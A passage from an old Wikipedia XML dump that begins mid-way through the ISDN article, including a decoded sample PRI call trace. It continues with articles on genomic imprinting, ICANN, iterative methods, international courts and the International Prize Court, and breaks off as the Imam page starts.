In ISDN, there are two types of channels, ''B'' (for &quot;Bearer&quot;) and ''D'' (for &quot;Delta&quot;). ''B channels'' are used for data (which may include voice), and ''D channels'' are intended for signalling and control (but can also be used for data).

There are two kinds of access to ISDN. '''[[Basic rate interface]] (BRI)''' &amp;mdash; also '''[[Basic rate access]] (BRA)''' &amp;mdash; consists of two B channels, each with bandwidth of 64 [[kbit/s]], and one D channel with a bandwidth of 16 kbit/s. Together these three channels can be designated as 2B+D. '''[[Primary rate interface]] (PRI)''' &amp;mdash; also '''[[Primary rate access]] (PRA)''' &amp;mdash; contains a greater number of B channels and a D channel with a bandwidth of 64 kbit/s. The number of B channels for PRI varies according to the nation: in North America and Japan it is 23B+1D, with an aggregate bit rate of 1.544 Mbit/s (T1); in Europe and Australia it is 30B+1D, with an aggregate bit rate of 2.048 Mbit/s (E1).

Using a variation of the [[Alternate Mark Inversion|alternate mark inversion]] encoding technique, call data is transmitted over the data (B) channels, with the signalling (D) channels used for call setup and management. Once a call is set up, there is a simple 64 kbit/s synchronous bidirectional data channel between the end parties, lasting until the call is terminated. There can be as many calls as there are data channels, to the same or different end-points. Bearer channels may also be [[multiplexing|multiplexed]] into what may be considered single, higher-bandwidth channels via a process called B channel bonding.

The D channel can also be used for sending and receiving [[X.25]] data packets, and connection to X.25 packet network, this is specified in [[X.31]]. In practice, X.31 was only commercially implemented in France and Japan.

== Reference points ==
A set of ''[[reference point]]s'' are defined in the ISDN [[International standard|standard]] to refer to certain points between the [[Telephone company|telco]] and the end user ISDN equipment.
*[[R interface|R]] - defines the point between a non-ISDN device and a ''[[terminal adapter]]'' (TA) which provides translation to and from such a device
*[[S interface|S]] - defines the point between the ISDN equipment (or TA) and a ''Network Termination Type 2'' ([[Network termination 2|NT-2]]) device
*[[T-interface|T]] - defines the point between the NT-2 and [[network termination 1|NT-1]] devices&lt;sup&gt;1&lt;/sup&gt;
*[[U interface|U]] - defines the point between the NT-1 and the telco switch&lt;sup&gt;2&lt;/sup&gt;

''&lt;sup&gt;1&lt;/sup&gt; Most NT-1 devices can perform the functions of the NT-2 as well, and so the S and T reference points are generally collapsed into the S/T reference point.''&lt;br&gt;
''&lt;sup&gt;2&lt;/sup&gt; Inside North America, the NT-1 device is considered [[customer premises equipment]] and must be maintained by the customer, thus, the U interface is provided to the customer. In other locations, the NT-1 device is maintained by the telco, and the S/T interface is provided to the customer.''&lt;br&gt;

== Types of communications handled ==
Among the kinds of data that can be moved over the 64 kbit/s channels are [[Pulse code modulation|pulse-code modulated]] voice calls, providing access to the traditional voice [[PSTN]]. This information can be passed between the network and the user end-point at call set-up time.
In North America, ISDN is nowadays mostly used as an alternative to analog connection, most commonly for Internet access. Some of the services envisaged as being delivered over ISDN are now delivered over the Internet instead. In Europe, and in Germany in particular, ISDN has been successfully marketed as a phone with features, as opposed to a POTS phone (Plain Old Telephone Service) with few or no features. However meanwhile features that were first available with ISDN (such as Three-Way Call, Call Forwarding, Caller ID, etc.) are now commonly available for ordinary analog phones as well, eliminating this advantage of ISDN. Another advantage of ISDN was the possibility of multiple simultaneous calls (one call per B channel), e.g. for big families, but with the increased popularity and reduced prices of mobile telephony this has become less interesting as well, making ISDN rather unappealing to the private customer.

Where an analog connection requires a [[modem]], an ISDN connection requires a [[terminal adapter]] (TA).

==A sample ISDN call==

The following is an example of a Primary Rate (PRI) ISDN call showing the [[Q.921]]/[[Link Access Procedures, D channel|LAPD]] and the [[Q.931]]/Network message intermixed (i.e. exactly what was exchanged on the D-channel).  The call is originating from the switch where the trace was taken and goes out to some other switch, possibly an end-office '''LEC''', who terminates the call.


The first line format is &amp;lt;time&amp;gt; &amp;lt;D-channel&amp;gt; &amp;lt;Transmitted/Received&amp;gt; &amp;lt;LAPD/ISDN message ID&amp;gt;.  If the message is an ISDN level message, then a decoding of the message is attempted showing the various Information Elements that make up the message.  All ISDN messages are tagged with an ID number relative to the switch that started the call (local/remote).  Following this optional decoding is a dump of the bytes of the message in &amp;lt;offset&amp;gt; &amp;lt;hex&amp;gt; ... &amp;lt;hex&amp;gt; &amp;lt;ascii&amp;gt; ... &amp;lt;ascii&amp;gt; format.

The '''RR''' messages at the beginning prior to the call are the keep alive messages.  Then you will see a '''SETUP''' message that starts the call.  Each message is acknowledged by the other side with a '''RR'''.

&lt;pre&gt;
10:49:47.33  21/1/24  R  RR
0000  02 01 01 a5                                          ....

10:49:47.34  21/1/24  T  RR
0000  02 01 01 b9                                          ....

10:50:17.57  21/1/24  R  RR
0000  02 01 01 a5                                          ....

10:50:17.58  21/1/24  T  RR
0000  02 01 01 b9                                          ....

10:50:24.37  21/1/24  T  SETUP
    Call Reference       : 000062-local
    Bearer Capability    : CCITT, Speech, Circuit mode, 64 kbit/s 
    Channel ID           : Implicit Interface ID implies current span, 21/1/5, Exclusive
    Calling Party Number : 8018023000 National number  User-provided, not screened  Presentation allowed
    Called Party Number  : 3739120 Type: SUBSCRB
0000  00 01 a4 b8  08 02 00 3e  05 04 03 80  90 a2 18 03   .......&gt;........
0010  a9 83 85 6c  0c 21 80 38  30 31 38 30  32 33 30 30   ...l.!.801802300
0020  30 70 08 c1  33 37 33 39  31 32 30                   0p..3739120

10:50:24.37  21/1/24  R  RR
0000  00 01 01 a6                                          ....

10:50:24.77  21/1/24  R  CALL PROCEEDING
    Call Reference       : 000062-local
    Channel ID           : Implicit Interface ID implies current span, 21/1/5, Exclusive
0000  02 01 b8 a6  08 02 80 3e  02 18 03 a9  83 85         .......&gt;......

10:50:24.77  21/1/24  T  RR
0000  02 01 01 ba                                          ....

10:50:25.02  21/1/24  R  ALERTING
    Call Reference       : 000062-local
    Progress Indicator   : CCITT, Public network serving local user, 
In-band information or an appropriate pattern is now available
0000  02 01 ba a6  08 02 80 3e  01 1e 02 82  88            .......&gt;.....

10:50:25.02  21/1/24  T  RR
0000  02 01 01 bc                                          ....

10:50:28.43  21/1/24  R  CONNECT
    Call Reference       : 000062-local
0000  02 01 bc a6  08 02 80 3e  07                         .......&gt;.

10:50:28.43  21/1/24  T  RR
0000  02 01 01 be                                          ....

10:50:28.43  21/1/24  T  CONNECT_ACK
    Call Reference       : 000062-local
0000  00 01 a6 be  08 02 00 3e  0f                         .......&gt;.

10:50:28.44  21/1/24  R  RR
0000  00 01 01 a8                                          ....

10:50:35.69  21/1/24  T  DISCONNECT
    Call Reference       : 000062-local
    Cause                : 16, Normal call clearing.
0000  00 01 a8 be  08 02 00 3e  45 08 02 8a  90            .......&gt;E....

10:50:35.70  21/1/24  R  RR
0000  00 01 01 aa                                          ....

10:50:36.98  21/1/24  R  RELEASE
    Call Reference       : 000062-local
0000  02 01 be aa  08 02 80 3e  4d                         .......&gt;M

10:50:36.98  21/1/24  T  RR
0000  02 01 01 c0                                          ....

10:50:36.99  21/1/24  T  RELEASE COMPLETE
    Call Reference       : 000062-local
0000  00 01 aa c0  08 02 00 3e  5a                         .......&gt;Z

10:50:36.00  21/1/24  R  RR
0000  00 01 01 ac                                          ....

10:51:06.10  21/1/24  R  RR
0000  02 01 01 ad                                          ....

10:51:06.10  21/1/24  T  RR
0000  02 01 01 c1                                          ....

10:51:36.37  21/1/24  R  RR
0000  02 01 01 ad                                          ....

10:51:36.37  21/1/24  T  RR
0000  02 01 01 c1                                          ....

&lt;/pre&gt;

==See also==
===Protocols===
&lt;!-- international --&gt;
*[[DSS1]] ([[ETSI]] &quot;[[Europe|Euro]]-ISDN&quot;, also used in many non-European countries)
*[[DSS2]] (Digital Subscriber Signalling System No. 2)

&lt;!-- US --&gt;
*[[NI-1]] ([[United States|US]] National ISDN Phase 1)
*[[NI-2]] ([[United States|US]] National ISDN Phase 2)

&lt;!-- other --&gt;
*[[INS-NET]] 64/1500 ([[Japan]]ese national/[[NTT]] carrier-specific protocol)
* [[DACS]] used in the [[UK]] by [[British Telecom]] it uses non standard D channel signalling for [[Pair gain]]

&lt;!-- obsolete --&gt;
*[[FTZ 1 TR 6]] (obsolete [[Germany|German]] national protocol)
*[[TS.013]]/[[TS.014]] (obsolete [[Australia]]n national protocol)
*[[VN2]]/[[VN3]]/[[VN4]] (obsolete [[France|French]] national protocols)

Specifications defining the physical layer and part of the data link layers of ISDN:
*'''ISDN BRI''': [[ITU-T]] I.430.
*'''ISDN PRI''': [[ITU-T]] I.431.

From the point of view of the OSI architecture, a ISDN line has a stack of three protocols
* physical layer
* data link layer
* network layer (the ISDN protocol, properly)

===Other===
*[[Asymmetric Digital Subscriber Line|ADSL]]
*[[Asynchronous Transfer Mode|ATM]]
*[[B-ISDN]]
*[[Internet]]
*[[H.320]]

==External links==
* http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/isdn.htm
* http://hea-www.harvard.edu/~fine/ISDN/
* http://www.itu.org
* http://www.ralphb.net/ISDN/
* http://www.concito.net/isdn.php
{{Internet Access}}
[[Category:ITU-T recommendations]]
[[Category:telephony]]
[[Category:Network access]]

{{Link FA|de}}

[[bs:ISDN]]
[[cs:ISDN]]
[[da:ISDN]]
[[de:Integrated Services Digital Network]]
[[es:RDSI]]
[[fr:Réseau numérique à intégration de services]]
[[gl:RDSI]]
[[ko:ISDN]]
[[hr:ISDN]]
[[it:Integrated Services Digital Network]]
[[lt:ISDN]]
[[nl:Integrated Services Digital Network]]
[[ja:ISDN]]
[[no:ISDN]]
[[pl:ISDN]]
[[pt:RDIS]]
[[ru:ISDN]]
[[sl:ISDN]]
[[fi:ISDN]]
[[sv:ISDN]]
[[tr:ISDN]]
[[zh:综合业务数字网]]</text>
    </revision>
  </page>
  <page>
    <title>Iambic Pentameter</title>
    <id>15233</id>
    <revision>
      <id>15912719</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Iambic pentameter]]
</text>
    </revision>
  </page>
  <page>
    <title>Imprinting (genetics)</title>
    <id>15235</id>
    <revision>
      <id>40122885</id>
      <timestamp>2006-02-18T08:03:13Z</timestamp>
      <contributor>
        <username>Timothyarnold85</username>
        <id>413969</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{wikify}}

'''Genomic imprinting''' is the phenomenon whereby a small subset of all the [[genes]] in the [[genome]] are expressed according to their parent of origin.  Some imprinted genes are expressed from a maternally inherited [[chromosome]] and silenced on the paternal chromosome; while other imprinted genes show the opposite expression pattern and are only expressed from a paternally inherited chromosome. Contrary to expectation, 'imprints'  can act as a silencer or an activator for imprinted genes. 

Normally, a healthy child inherits two sets of chromosomes, one from the mother and one from the father. A living child (this applies to all mammals) cannot be produced when both sets of chromosomes come from the same parent because imprinted gene expression will be unbalanced. Because of the way imprints work, a fetus that has two maternal sets of chromosomes will have twice the normal level of some imprinted genes, and completely lack expression of other imprinted genes. No naturally occurring cases of [[parthenogenesis]] exist in mammals because of imprinted genes. Experimental manipulation of a paternal methylation imprint controlling the Igf2 gene has, however, recently allowed the creation of rare individual mice with two maternal sets of chromosomes - but this is not a true parthenogenote.

A process known as [[reprogramming]] occurs in the parent female or male when the egg or sperm is maturing. In many instances this is achieved through [[methylation]] of the DNA of genes or [[regulatory sequence]]s, which results in the gene not being expressed. In other instances, [[phosphorylation]] or other chemical modification of [[histone]] proteins appears to lead to silencing.

Imprinting is known to cause problems in [[cloning]], with clones having DNA that is not [[methylation|methylated]] in the right places. Some scientists think this is due to there not being enough time for reprogramming to be properly achieved. When a [[cell nucleus|nucleus]] is added to an egg during [[somatic cell nuclear transfer]], the egg starts dividing in minutes, as compared to the days or months it takes for reprogramming during [[embryo|embryonic]] development. If time is the responsible factor, it may be possible to delay cell division in clones, giving time for proper reprogramming to occur.

Several [[genetic disorder|genetic diseases]] that map to 15q13 (locus 3 of section 1 of the long arm of chromosome 15) in humans are due to abnormal imprinting. The [[Prader-Willi syndrome]] is due to 2 copies of the chromosome 15 being inherited from the mother, and the locus is imprinted; the [[Angelman syndrome]] gene is due to 2 copies of the chromosome 15 inherited from the father and the locus is similarly imprinted. Thus, someone who inherits both chromosomes 15 from one parent (called [[uniparental disomy]]) has Prader-Willi or Angelman syndrome, depending on which parent they come from. But more common is the deletion of the region, 15q13, and when this deletion is inherited depending on from whom the affected person gets this deletion from, the disease varies, if it's the mother who transfers the deletion then the child will have [[Angelman syndrome]] and if it's the father who gives the deletion then the child will get [[Prader-Willi syndrome]].

An allele of the &quot;callipyge&quot; (from the [[Greek language|Greek]] for &quot;beautiful buttocks&quot;), or CLPG, gene in [[sheep]] produces large buttocks consisting of muscle with very little fat.  The large-buttocked phenotype only occurs when the allele is present on the copy of chromosome 18 inherited from a sheep's father and is ''not'' on the copy of chromosome 18 inherited from that sheep's mother.[http://www.genomenewsnetwork.org/articles/05_01/Callipyge_sheep_imprinting.shtml]

[[Category:Molecular genetics]]
[[Category:Gene expression]]
[[Category:Epigenetics]]
[[de:Imprinting]]
[[ja:&amp;#12466;&amp;#12494;&amp;#12512;&amp;#12452;&amp;#12531;&amp;#12503;&amp;#12522;&amp;#12531;&amp;#12486;&amp;#12451;&amp;#12531;&amp;#12464;]]
[[fi:Leimautuminen]]</text>
    </revision>
  </page>
  <page>
    <title>ICANN</title>
    <id>15236</id>
    <revision>
      <id>41147886</id>
      <timestamp>2006-02-25T09:45:52Z</timestamp>
      <contributor>
        <username>Alvestrand</username>
        <id>50958</id>
      </contributor>
      <comment>Refactoring text</comment>
      <text xml:space="preserve">[[Image:Icann.jpg|right]]
'''ICANN''' (pronounced ''&quot;I can&quot;'') is the '''Internet Corporation for Assigned Names and Numbers'''.
Headquartered in [[Marina Del Rey, California]], ICANN is a [[California]] [[non-profit]] [[corporation]] that was created on [[September 18]], [[1998]] in order to oversee a number of [[Internet]]-related tasks previously performed directly on behalf of the [[Federal government of the United States|U.S. Government]] by other organizations, notably [[Internet Assigned Numbers Authority|IANA]].

The tasks of ICANN include managing the assignment of [[domain name]]s and [[IP address]]es. To date, much of its work has concerned the introduction of new generic [[top-level domain]]s. The technical work of ICANN is referred to as the [[Internet Assigned Numbers Authority|IANA]] function; the rest of ICANN is mostly about defining policy.

[[Paul Twomey]] is the President/CEO of ICANN, since [[March 27]] [[2003]]. [[Vint Cerf]] is currently Chairman of the ICANN Board of Trustees.

==ICANN procedures==
ICANN holds its periodic public meetings for the expressed purpose of staying in touch with its membership. Critics note that the locations of these meetings are often in countries with disproportionally small Internet access and far away from locations that the majority of the Internet-using public can afford to reach, thus making public input or participation less likely. Supporters reply that ICANN has a worldwide remit and a key part of its mission is to build Internet use where it is weak.  

At present, ICANN is formally organized as a public benefit, non-profit corporation in California.  ICANN was set up in California due to the presence of [[Jon Postel]], who was a founder of ICANN and was set to be its first CTO prior to his untimely death. ICANN remains in the same building where [[Jon Postel]] worked in the Marina del Rey, California location of the [[Information Sciences Institute]] at the [[University of Southern California]].

Resolutions of the ICANN Board, preliminary reports and minutes of the meetings are published for the public to view on the ICANN website. 

==Notable events in ICANN history==
The original mandate for ICANN came from the United States Government, spanning two presidential administrations [[Bill Clinton]] and [[George W. Bush]].  On January 30, 1998, the National Telecommunications and Information Administration (NTIA), an agency of the [[US Department of Commerce]], issued for comment, A Proposal to Improve the Technical Management of Internet Names and Addresses. The proposed rulemaking, or &quot;Green Paper,&quot; was published in the Federal Register on February 20, 1998, providing opportunity for public comment. NTIA received more than 650 comments, as of March 23, 1998, when the comment period closed.  
 

The Green Paper proposed certain actions designed to privatize the management of Internet names and addresses in a manner that allows for the development of robust competition and facilitates global participation in Internet management. The Green Paper proposed for discussion a variety of issues relating to DNS management including private sector creation of a new not-for-profit corporation (the &quot;new corporation&quot;) managed by a globally and functionally representative Board of Directors.  ICANN was formed in response to this policy.   The IANA function currently exists under a remit from the [[U.S. Department of Commerce]].

On [[March 14]], [[2002]], in a public meeting in [[Accra]], in [[Ghana]], ICANN decided to reduce direct public (&quot;at large&quot;) participation.

One of a few publicly elected board members, [[Karl Auerbach]], sued ICANN in Superior Court in [[California]] in order to see accounting records. The records were ultimately released to the public in [[August]] [[2002]].


In September and October 2003 ICANN played a crucial role in the conflict over [[VeriSign]] and its &quot;wildcard&quot; DNS service [[Site Finder]]. After an open letter from ICANN issuing an ultimatum to VeriSign, the company voluntarily shut down the service on [[October 4]] 2003. Following this step VeriSign filed a lawsuit against ICANN on [[February 27]] [[2004]], claiming that ICANN had overstepped its authority, seeking through the suit to reduce ambiguity over ICANN's authority. The anti-trust component of Verisign's claim was dismissed in August 2004.  VeriSign's broader challenge that ICANN overstepped its contractual rights is currently outstanding, although a proposed settlement would drop VeriSign's challenge to ICANN in exchange for the right to increase pricing on .COM domains.

At the meeting of ICANN in [[Rome]] taking place from [[March 2]] to [[March 6]] [[2004]], ICANN agreed to ask approval of the [[United_States_Department_of_Commerce | US Department of Commerce ]] for the [[Waiting List Service]] of VeriSign.

On [[17 May]] [[2004]], ICANN published a proposed budget for the year 2004-05. It included proposals to increase the openness and professionalism of its operations, and greatly increased its proposed spending, from US $8.27m to $15.83m. The increase was to be funded by the introduction of new [[top-level domain]]s, charges to all [[Domain name registry|Domain Registries]], and a fee for all domain name registrations, renewals and transfers (initially 20¢ US  for all domains within a country-code top-level domain, and 25¢ for all others). The [[Council of European National Top Level Domain Registries]] (CENTR), which represents the [[Internet registry|Internet registries]] of 39 countries, has rejected the increase, accusing ICANN of a lack of financial prudence and criticising what it describes as ICANN's &quot;unrealistic political and operational targets&quot;. Despite the criticism, the registry agreement for the top-level domains .JOBS and .TRAVEL includes a US $2 fee on every domain the licensed companies sell or renew.

Along with the successful negotiations of the .TRAVEL and .JOBS namespace, .XXX, .MOBI, and .CAT are some of the new applicants in front of ICANN.   The recent introduction of the .EU [[Top Level Domain]] to the root, and the currently proposed .ASIA multiregional suffix are developments to watch.

In May of 2005, ICANN participated in the [http://domainroundtable.com Domain Roundtable Conference] in Seattle.  They are, however, under fire from the [[United Nations]]' [[Working Group on Internet Governance]].

The [[World Summit on the Information Society]] in [[Tunisia]] in [[November 2005]] agreed not to get involved in the day-to-day and technical operations of ICANN. However it also agreed to set up an international [[Internet Governance Forum]], with a consultative role on the future governance of the internet.  ICANN's Government Adivsory Committee or GAC, is currently set up to provide advice to ICANN regarding public policy issues and has participation by many of the world's governments.


==Arguments about ICANN==



Some of ICANN's critics would like to see it internationalize itself, meaning that it would be reconstituted as some kind of public sector entity under international law and would cancel its contractual links to the U.S. Government and the [[U.S. Department of Commerce]], which are historical in origin.  Of the 15 voting members of the ICANN Board of Directors, it currently has board members from six continents, and has only two US Directors, 1) ICANN Chairman, [Vint Cerf], a noted &quot;Father of the Internet&quot; who was appointed by ICANN's Nominating Committee and 2) Michael Palage, a Florida intellectual property attorney who was appointed by ICANN's Generic Name Supporting Organization or GNSO.

Proponents want the United States to maintain the authority it holds via the contract between ICANN and Commerce.  This authority stems from the historical role of the United States in creating the Internet.  Support from [[ccTLD|National Top Level Domain]] [[Internet registry|Internet registries]] is a missing critical milestone within the commitments that ICANN has made to the [[US Department of Commerce]].

==See also==
* [[Alternatives to ICANN]]
* [[Domain name]]
* [[Domain name registrar]]
* [[Internet democracy]]
* [[Internet Assigned Numbers Authority|IANA]]
* Franda, Marcus, ''The Emergence of an International Regime'', ISBN 1555879993
* Wass, Erica, ''Addressing the World'', ISBN 0-7425-2809-X
* Paré, Daniel J. ''Internet Governance in Transition'', ISBN 0-7425-1846-9
* Meuller, Milton L. ''Ruling the Root'', ISBN 0-262-13412-8
* Froomkin, A. Michael [http://www.law.miami.edu/~froomkin/articles/icann.pdf Wrong Turn in Cyberspace: Using ICANN to Route Around the APA and the Constitution], 50 Duke Law Journal17 (2000)
* Tim Schumacher, Thomas Ernstschneider &amp; Andrea Wiehager ''Domain-Namen im Internet'' (text in German), ISBN 3-540-42910-7

==External links==
* [http://www.icann.org ICANN web-site]
** [http://www.icann.org/general/litigation.htm ICANN Litigation] 
* [http://www.ntia.doc.gov/ntiahome/domainname/icann.htm Memorandum of Understanding Between the Department of Commerce and the Internet Corporation for Assigned Names and Numbers]
* [http://www.icannwiki.org ICANN Wiki]
* [http://www.icannwatch.org ICANNWatch]
* [http://www.lextext.com/icann/ Independent ICANN news blog / Lextext]
* [http://www.icannatlarge.com/ Site advocating the return of public representation in ICANN]
* [http://www.domainroundtable.com/ Domain Roundtable Conference] - Annual Domain Industry Conference
* [http://www.circleid.com/ CircleID: Community discussions involving ICANN and Internet Governance]
* [http://www.cfit.info/ Coalition For ICANN Transparency]
* [http://dailychanges.com DailyChanges.com] - a Free ICANN Registrar Statistics site
*{{Citenews | title=U.N. Summit to Focus on Internet | date=December 5, 2003 | org=Washington Post | url=http://www.washingtonpost.com/ac2/wp-dyn/A36852-2003Dec4?language=printer}}
*{{Citenews | title=ICANN imposes $2 internet tax | date=March 31, 2005 | org=The Register | url=http://www.theregister.co.uk/2005/03/31/icann_2buck_fee}}
*{{Citenews | title=Bush administration annexes internet | date=July 1, 2005 | org=The Register| url=http://www.theregister.co.uk/2005/07/01/bush_net_policy/}}
*{{Citenews | title=Power grab could split the net | date=October 3, 2005 | org=CNET | url=http://news.com.com/2010-1071_3-5886556.html}} (Includes discussion.)
**[http://www.dotlove.org the dot love company] - proposal for &quot;.love&quot; (and related domains such as .thanks) as sTLDs
*[http://www.unifiedroot.com Unified Root] - Unified Root (for-profit alternative to ICANN), based on Public Root technology
*[http://www.dotberlin.de/ dotBERLIN Website]

[[Category:Information technology]]
[[Category:Internet governance]]
[[Category:Domain Name System]]

[[ca:ICANN]]
[[de:Internet Corporation for Assigned Names and Numbers]]
[[es:ICANN]]
[[eo:ICANN]]
[[fr:Internet corporation for assigned names and numbers]]
[[gl:ICANN]]
[[it:ICANN]]
[[he:ICANN]]
[[nl:Internet Corporation for Assigned Names and Numbers]]
[[ja:ICANN]]
[[no:ICANN]]
[[pl:ICANN]]
[[pt:ICANN]]
[[ru:Internet Corporation for Assigned Names and Numbers]]
[[fi:ICANN]]
[[tr:ICANN]]
[[zh:互联网名称与数字地址分配机构]]</text>
    </revision>
  </page>
  <page>
    <title>Iterative method</title>
    <id>15237</id>
    <revision>
      <id>30388519</id>
      <timestamp>2005-12-06T21:12:56Z</timestamp>
      <contributor>
        <ip>128.2.135.109</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">In [[computation]]al [[mathematics]], an '''iterative method''' attempts to solve a problem (for example an equation or system of equations) by finding successive [[approximation]]s to the solution starting from an initial guess. This approach is in contrast to direct methods, which attempt to solve the problem in one-shot (like solving a linear system of equations ''Ax'' = ''b'' by finding the inverse of the [[matrix (mathematics)|matrix]] A). Iterative methods are useful for problems involving a large number of variables (sometimes of the order of millions), where direct methods would be prohibitively expensive and in some cases impossible even with the best available computing power.

==Newton's method==

One of the most familiar iterative methods is usually taught in 1st-year calculus: [[Newton's method]].

==Attractive fixed points==

If an equation can be put into the form ''f''(''x'') = ''x'', and a solution '''x''' is an attractive [[fixed point (mathematics)|fixed point]] of the function ''f'', then one may begin with a point ''x''&lt;sub&gt;1&lt;/sub&gt; in the basin of attraction of '''x''', and let ''x''&lt;sub&gt;''n''+1&lt;/sub&gt; = ''f''(''x''&lt;sub&gt;''n''&lt;/sub&gt;) for ''n''&amp;nbsp;&amp;ge;&amp;nbsp;1, and the sequence {''x''&lt;sub&gt;''n''&lt;/sub&gt;}&lt;sub&gt;''n''&amp;nbsp;&amp;ge;&amp;nbsp;1&lt;/sub&gt; will converge to the solution '''x'''.

==Linear systems==

In the case of a [[linear system]], the two main classes of iterative methods are the '''stationary iterative methods''', and the more general [[Krylov subspace]] methods.

===Stationary iterative methods===

Stationary iterative methods solve a linear system with an [[operator]] approximating the original one; and based on a measurement of the error (the residual), form a [[correction equation]] for which this process is repeated. While these methods are simple to derive, implement, and analyse, convergence is only guaranteed for a limited class of matrices.

===Krylov subspace methods===

Krylov subspace methods form an [[orthogonal basis]] of the sequence of successive matrix powers times the initial residual (the '''Krylov sequence'''). The approximations to the solution are then formed by minimizing the residual over the subspace formed. The prototypical method in this class is the [[conjugate gradient method]].

===Convergence===

Since these methods form a basis, it is evident that the method converges in ''N'' iterations, where ''N'' is the system size. However, in the presence of rounding errors this statement does not hold; moreover, in practice ''N'' can be very large, and the iterative process reaches sufficient accuracy already far earlier. The analysis of these methods is hard, depending on a complicated function of the [[spectrum of an operator|spectrum]] of the operator.

===Preconditioners===

The approximating operator that appears in stationary iterative methods can also be incorporated in Krylov subspace methods (alternatively, preconditioned Krylov methods can be considered as accelerations of stationary iterative methods), where they become transformations of the original operator to a presumably better conditioned one. The construction of preconditioners is a large research area.

===History===

Probably the first iterative method appeared in a letter of [[Carl Friedrich Gauss|Gauss]] to a student of his.  He proposed solving a 4-by-4 system of equations by repeatedly solving the component in which the residual was the largest. 

The theory of stationary iterative methods was solidly established with the work of [[D.M. Young]] starting in the 1950s. The Conjugate Gradient method was also invented in the 1950s, with independent developments by [[Cornelius Lanczos]], [[Magnus Hestenes]] and [[Eduard Stiefel]], but its nature and applicability were misunderstood at the time. Only in the 1970s was it realized that conjugacy based methods work very well for [[partial differential equation]]s, especially the elliptic type.

== External links ==
* [http://www.netlib.org/linalg/html_templates/Templates.html Templates for the Solution of Linear Systems]
* [http://www.math.uu.nl/people/vorst/cgnotes.ps.gz Lecture notes on iterative methods]
* [http://www-users.cs.umn.edu/~saad/books.html Y. Saad: ''Iterative Methods for Sparse Linear Systems'', 1st edition, PWS 1996]

[[Category: Numerical analysis]]</text>
    </revision>
  </page>
  <page>
    <title>International judicial institution</title>
    <id>15238</id>
    <revision>
      <id>41057772</id>
      <timestamp>2006-02-24T20:04:27Z</timestamp>
      <contributor>
        <username>Bolivian Unicyclist</username>
        <id>642800</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''International judicial institutions''' can be divided into [[court]]s, arbitral [[tribunal]]s and [[Quasi-judicial_body|quasi-judicial]] institutions. Courts are permanent bodies, with near the same composition for each case. Arbitral tribunals, by contrast, are constituted anew for each case. Both courts and arbitral tribunals can make binding decisions. Quasi-judicial institutions, by contrast, make rulings on cases, but these rulings are not in themselves legally binding; the main example is the individual complaints mechanisms available under the various UN human rights treaties.

Institutions can also be divided into global and regional institutions.

The listing below incorporates both currently existing institutions, defunct institutions that no longer exist, institutions which never came into existence due to non-ratification of their constitutive instruments, and institutions which do not yet exist, but for which constitutive instruments have been signed. It does not include mere proposed institutions for which no instrument was ever signed.

==Global institutions: Courts==
*[[International Court of Justice]]
*[[International Tribunal for the Law of the Sea]]
*[[International Criminal Tribunal for the Former Yugoslavia]]
*[[International Criminal Tribunal for Rwanda]]
*[[International Criminal Court]]
*[[WTO Appelate Body]]
*[[International Military Tribunal]] (defunct)
*[[International Military Tribunal for the Far East]] (defunct)
*[[International Prize Court]] (never established)

==Global institutions: Arbitral Tribunals==
*[[Permanent Court of Arbitration]]
*[[WTO Dispute Settlement Panels]]
*[[International Centre for the Settlement of Investment Disputes]]

==Global institutions: Quasi-judicial Institutions==
&lt;!-- - ''check whether the names below are correct, and if the below institutions are the optional procedure ones'' --&gt;
*[[Human Rights Committee]]
*[[Committee on the Elimination of all forms of Racial Discrimination]]
*[[Committee on the Elimination of all forms of Discrimination Against Women]]

==Regional institutions: Africa==
*[[African Court on Human and Peoples' Rights]]

==Regional institutions: Americas==
*[[Inter-American Court of Human Rights]]
*[[Central American Court of Justice]] (defunct?)
*[[ALADI]], [[CARICOM]], [[MERCOSUR]], Central American Community institutions?

==Regional institutions: Europe==
*[[European Court of Justice]]
*[[European Court of Human Rights]]
*[[European Tribunal in Matters of State Immunity]] 
*[[European Nuclear Energy Tribunal]]
*[[Benelux Court of Justice]]



[[Category:International law]][[Category:International organizations]]</text>
    </revision>
  </page>
  <page>
    <title>International Prize Court</title>
    <id>15239</id>
    <revision>
      <id>30009874</id>
      <timestamp>2005-12-03T12:15:21Z</timestamp>
      <contributor>
        <username>Itai</username>
        <id>17456</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The capturing of [[prize]]s (enemy equipment, vehicles, and especially ships) during wartime is a tradition that goes back as far as organized warfare itself.

The '''International Prize Court''' was an [[international judicial institutions|international court]] proposed at the beginning of the [[20th century]], to hear prize cases. An international agreement to create it, the ''Convention Relative to the Creation of an International Prize Court'', was made at the [[Hague]] on [[October 18]], [[1907]].

The International Prize Court was to hear appeals from national courts concerning prize cases. It was later modified by the ''Additional Protocol to the Convention Relative to the Creation of an International Prize Court'' [http://www1.umn.edu/humanrts/instree/1907k.htm], done at the Hague on [[October 18]], [[1910]]. However, neither the convention nor the subsequent protocol ever entered into force, since none of the signatories ever ratified it, and the court never came into existence.

The Convention was opposed, particularly by elements within the [[United States]] and the [[United Kingdom]], as a violation of national sovereignty.

It was innovative for the time, in being both the first ever treaty for a truly international court (as opposed to a mere arbitral tribunal), and in providing individuals with access to the court, going against the prevailing doctrines of international law at the time, according to which only states had rights and duties under international law. The protocol was an attempt to resolve some concerns expressed by the United States at the court, who felt it to be in violation of its constitution, which provided for its Supreme Court to have the final judicial authority.

A number of ideas from the International Prize Court can be seen in present day international courts, such as its provision for judges ''ad hoc'', later adopted in the Permanent Court of International Justice (now the [[International Court of Justice]]).

[[Category:Prize warfare]]</text>
    </revision>
  </page>
  <page>
    <title>Imam</title>
    <id>15240</id>
    <revision>
      <id>40930661</id>
      <timestamp>2006-02-23T23:19:52Z</timestamp>
      <contributor>
        <username>Bubuka</username>
        <id>204163</id>
      </contributor>
      <minor />
      <comment>ru</comment>
      <text xml:space="preserve">{{Islam}}
